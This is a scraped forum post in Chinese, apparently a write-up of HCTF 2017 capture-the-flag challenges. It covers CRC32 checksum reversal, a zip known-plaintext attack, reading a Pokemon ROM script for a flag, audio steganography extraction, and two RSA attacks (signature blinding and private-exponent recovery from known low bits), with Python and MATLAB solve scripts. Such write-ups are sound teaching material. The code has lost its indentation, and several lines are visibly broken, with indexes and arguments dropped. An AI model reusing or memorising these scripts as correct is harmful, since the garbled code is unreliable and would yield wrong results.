found = []
for j in range(256):
if self.table >> 24 == i:
found.append(j)
self.table_reverse.append(tuple(found))
if not found:
found_none.add(i)
elif len(found) > 1:
found_multiple.add(i)
assert len(self.table_reverse) == 256, "reverse table is wrong>
def rangess(self, i):
return ', '.join(map(lambda x: '[{0},{1}]'.format(*x), self.ranges(i)))
def ranges(self, i):
for kg in itertools.groupby(enumerate(i), lambda x: x - x):
g = list(kg)
yield g, g[-1]
def calc(self, data, accum=0):
accum = ~accum
for b in data:
accum = self.table[(accum ^ b) & 0xFF] ^ ((accum >> 8) & 0x00FFFFFF)
accum = ~accum
return accum & 0xFFFFFFFF
def findReverse(self, desired, accum):
solutions = set()
accum = ~accum
stack = [(~desired,)]
while stack:
node = stack.pop()
for j in self.table_reverse[(node >> 24) & 0xFF]:
if len(node) == 4:
a = accum
data = []
node = node + (j,)
for i in range(3, -1, -1):
data.append((a ^ node) & 0xFF)
a >>= 8
a ^= self.table]
solutions.add(tuple(data))
else:
stack.append(((node ^ self.table) << 8,) + node + (j,))
return solutions
def dfs(self, length, outlist=['']):
tmp_list = []
if length == 0:
return outlist
for list_item in outlist:
tmp_list.extend()
return self.dfs(length - 1, tmp_list)
def run_reverse(self):
# initialize tables
self.init_tables(self.poly)
# find reverse bytes
desired = self.crc32
accum = self.accum
# 4-byte patch
if self.length >= 4:
patches = self.findReverse(desired, accum)
for patch in patches:
checksum = self.calc(patch, accum)
print 'verification checksum: 0x{0:08x} ({1})'.format(
checksum, 'OK' if checksum == desired else 'ERROR')
for item in self.dfs(self.length - 4):
patch = map(ord, item)
patches = self.findReverse(desired, self.calc(patch, accum))
for last_4_bytes in patches:
if all(p in self.char_set for p in last_4_bytes):
patch.extend(last_4_bytes)
print ': {1} ({0})'.format(
'OK' if self.calc(patch, accum) == desired else 'ERROR', ''.join(map(chr, patch)))
else:
for item in self.dfs(self.length):
if crc32(item) == desired:
print ': {0} (OK)'.format(item)
def crc32_reverse(crc32, length, char_set=string.printable,
poly=0xEDB88320, accum=0):
'''
:param crc32: the crc32 you wnat to reverse
:param length: the plaintext length
:param char_set: char_set
:param poly: poly , default 0xEDB88320
:param accum: accum , default 0
:return: none
'''
obj = crc32_reverse_class(crc32, length, char_set, poly, accum)
obj.run_reverse()
def crc32(s):
'''
:param s: the string to calculate the crc32
:return: the crc32
'''
return binascii.crc32(s) & 0xffffffff
from my_crc32 import * l=[0x251dee02,
0xb890530f,
0x6e6b39df,
0x50f684c3,
0xde41b551,
0x24bd35b6,
0xcef2eda8,
0xba2b1745,
0x1f4c7ea9,
0x58b2bfa9,
0x251dee02,
0xe0f81f1e,
0xbd6fbd41,
0x7342a1f6,
0x665648e9,
0xe7c594b3,
0xa60ffdd0,
0xce2ce80b,
0x22459f2d,
0x6f8a6539,
0x2073a2e4,
0x52fa60a8,
0x80410dda,
0xb7c68f27,
0x6e6b39df,
0xbd598041,
0xaa145d64,
0x16da6b3b,
0x7dd590bc,
0xb9eef5a1,
0xf0b958f0,
0x445a43f7,
0x8bd55271,
0xc0340fe2,
0xc0cd9ee5,
0x7fc7de58,
0x53bfec8a,
0x99b5537b,
0xd68019af,
0x73d7ee30,
0x5fbd3f5e]
for k in l:
crc32_reverse(k,5)
print '======='
#You_know_the_bed_feels_warmer_Sleeping_here_alone_You_know_I_dream_in_color_And_do_the_things_I_want_You_think_you_got_the_best_of_me_Think_you_had_the_last_laugh_Bet_you_think_that_everything_good_is_gone
crc32爆破完连接成文,很容易发现是最后一个文本。然后使用已知明文攻击即可。(有些人说因为我用7z压缩的zip所以他已知明文一直攻击不成功,我表示是我没有考虑到
level2pokemon 打开游戏,大木会直接和你疯狂暗示
大木告诉你,FLAG在第一个道馆,去打败馆主。
到研究室领精灵,助手给你20个奇异糖果,让你快速升级。
再次提醒打败第一个馆主。
一路打怪升级到第一个道馆
打败后
馆主说我不会告诉你的,想知道的话自己去逆向这个rom。
正文开始。
用PPRE工具。
text_11="HIIIIIINT(You-really-want-to-get-the-flag-by-submi ting-it-one-by-one?)"
text_12="HIIIIIINT(Try-to-read-the-scrpit-XP)"
text_13="HIIIIIINT(Don’t forget to change Brackets to Curly
Brackets !!!!)"
下面是一堆flag,但只有一个是正确的。
提示你去看脚本。
锁定脚本
Fanfare 1500 Lockall
Faceplayer
Checkbadge 0 0x800c
If 0x800c 1
CheckLR 1 func_5
Message 0
CloseMsgOnKeyPress
TrainerBattle 20 0 0
CheckTrainerLost 0x800c
If 0x800c 0
CheckLR 1 func_6
Setbdgtrue 0
ActMainEvent 22
SetTrainerId 29
SetTrainerId 50
Setvar 0x4074 1
Setflag 402
Setvar 16648 6
Setflag 244
Setflag 403
Message 1
SetvarHero 0
Message 2
Soundfr 1189
Fadedef
Message 3
Jump func_7
到func_7
Setvar 0x8004 378 Setvar 0x8005 1
CheckItem3 0x8004 0x8005 0x800c
If 0x800c 0
CheckLR 1 func_15
Callstd 241 7
Setflag 115
Clearflag 741
Setvar 0x8004 378
Setvar 0x8005 1
CheckItem3 0x8004 0x8005 0x800c
If 0x800c 0
CheckLR 1 func_16
Message 4
WaitButton
CloseMsgOnKeyPress
Releaseall
End
分析逻辑可知,func_16永远不会被执行
到func_16
Message 64 WaitButton
CloseMsgOnKeyPress
Releaseall
End
发现是使用64号text弹出对话框
text_64="HCTF(6A0A81AB5F9917B1EEC3A6183C614380)" get flag HCTF{6A0A81AB5F9917B1EEC3A6183C614380}
level3new_love_songNew_Love_Song 不知道各位还记不记得去年HCTF的图片隐写题,去年的大一通信小学弟今年已经大二了。
他从课堂上学会了音频隐写,并选了大家(wo)LP的一首歌准备在双11送给大家(虽然没几个人开到)
解题分析: 题目后来也放过hint: concentrate on the waveform 注意波形图
用Audacity打开new_love_song.wav,基本近似于一种矩形:
http://olqhuq6wn.bkt.clouddn.com/HCTF_1.png 而正常的音频波形往往都是高低起伏的:
http://olqhuq6wn.bkt.clouddn.com/HCTF_3.png 所以我们就把波放大,能够发现:
http://olqhuq6wn.bkt.clouddn.com/HCTF_2.png 相隔特定的距离 就会出现一段直线。接触过的人肯定知道,直线波就是某一特定的值
能够猜测 肯定有东西藏在其中,尝试提取出来,发现是一串01串 长度可开方 ,又是熟悉的转换二维码,扫描get flag
解题脚本:clc clear
close all
%% load data
wm_sz = 20000; % watermark>
px_sz = wm_sz/8; % number of pixels
im_sz = sqrt(px_sz); % image>
host_new= audioread ('new_love_song.wav'); % new (watermarked) host signal
host_new= uint8(255*(host_new + 0.5)); % double [-0.5 +0.5] to 'uint8'
%% prepare host
host_bin= dec2bin(host_new, 8); % binary host
%% extract watermark
wm_bin_str = host_bin(1:wm_sz, 8);
wm_bin = reshape(wm_bin_str, px_sz , 8);
wm_str = zeros(px_sz, 1, 'uint8');
for i = 1:px_sz % extract water mark from the first plane of host
wm_str(i, :) = bin2dec(wm_bin(i, :));
end
wm = reshape(wm_str, im_sz , im_sz);
%% show image
imshow(wm)
BabyRSA 先看下题目的逻辑
M = r * bytes_to_long('hctf{' + sha256(open('./flag').read()).hexdigest() + '}') S = pow(M, d, n)
程序接收 r,然后同 flag 相乘后计算出它的数字签名
先说下本来的思路,flag 为 m,单纯 flag 的签名为 S,返回的签名为 S',如果我们构造 r=R^e
因为
http://7xqn7l.com1.z0.glb.clouddn.com/hctf2017/20171115140246_H97HFB_1.jpeg 所以
http://7xqn7l.com1.z0.glb.clouddn.com/hctf2017/20171115140129_3prZOm_Screenshot.jpeg e 的值未知,通过爆破 e 的值遍历提交 R^e,再根据上式得出 flag
但是题目忘记对 r 进行限制,导致也可以通过传入 r=2 来做出
http://7xqn7l.com1.z0.glb.clouddn.com/hctf2017/20171115140313_QcgiTv_Screenshot.jpeg 因为 2m < n,所以直接对 S'^e 除以 2 就是 m
ps: Blue-Whale 队师傅的解法
http://7xqn7l.com1.z0.glb.clouddn.com/hctf2017/20171115140338_1PfOVh_Screenshot.jpeg 然后对 m^2 开方就是 flag 了
level4WeakRSA 已知部分 d 的最低有效位,是可以还原出 d 的,原理部分。但对于已知的位数是有要求的
http://7xqn7l.com1.z0.glb.clouddn.com/hctf2017/20171114202034_YLmofD_579ADAE3-7403-40C6-AD48-6CF840EE9B3A.jpeg 其中 M=2^k,k 是 d 的最低有效位的位数
出题时没测试好,本来是要给的位数不够还原,需要爆破的,给下脚本
#!/usr/bin/python #-*- coding:utf-8 -*-
import sys, re
from libnum import nroot
from Crypto.Util.number import>
n = 24129492308224479830531863430667763206113500947912894148049103046436751018902380216549212087945014575866175372699327952352562583984599024982322742653474650254469019243745562427155195911292231061633627557914070970650388286259815766552728485153840458510677169495483383264554397982155108666923510839292748291941615629484247125025729363254239159271724680451974211566266307311323012908187153011368890695841034381925365547836453167672856111790684457634738536647974450864723943635507973978195453912898978987904396630176208142995219377309529324099766495068346782530074954504554550936100220114319876296005855618193837568032249
e = 65537
low_d2 = 585021050422437790400309277934736421671174903453118287773262727237276990096608684311252820485289582300237832073420122197911787329400438609843024619449229662477502424617432168933632994437196549098808097025413678738558952555239079729908003264517051128647960060385270607296895534639200191803399174999679917012421
low_bits = 1028
test = pow(3, e, n)
i = 0
prefix = []
for a in range(2):
for b in range(2):
prefix.append(str(a) + str(b))
for bf in prefix:
low_d = int(bin(low_d2), 2)
for k in xrange(1, e):
d = (k * n + 1) / e
d >>= low_bits
d <<= low_bits
d |= low_d
if (e * d) % k == 1:
if pow(test, d, n) == 3:
print k, d
页:
[1]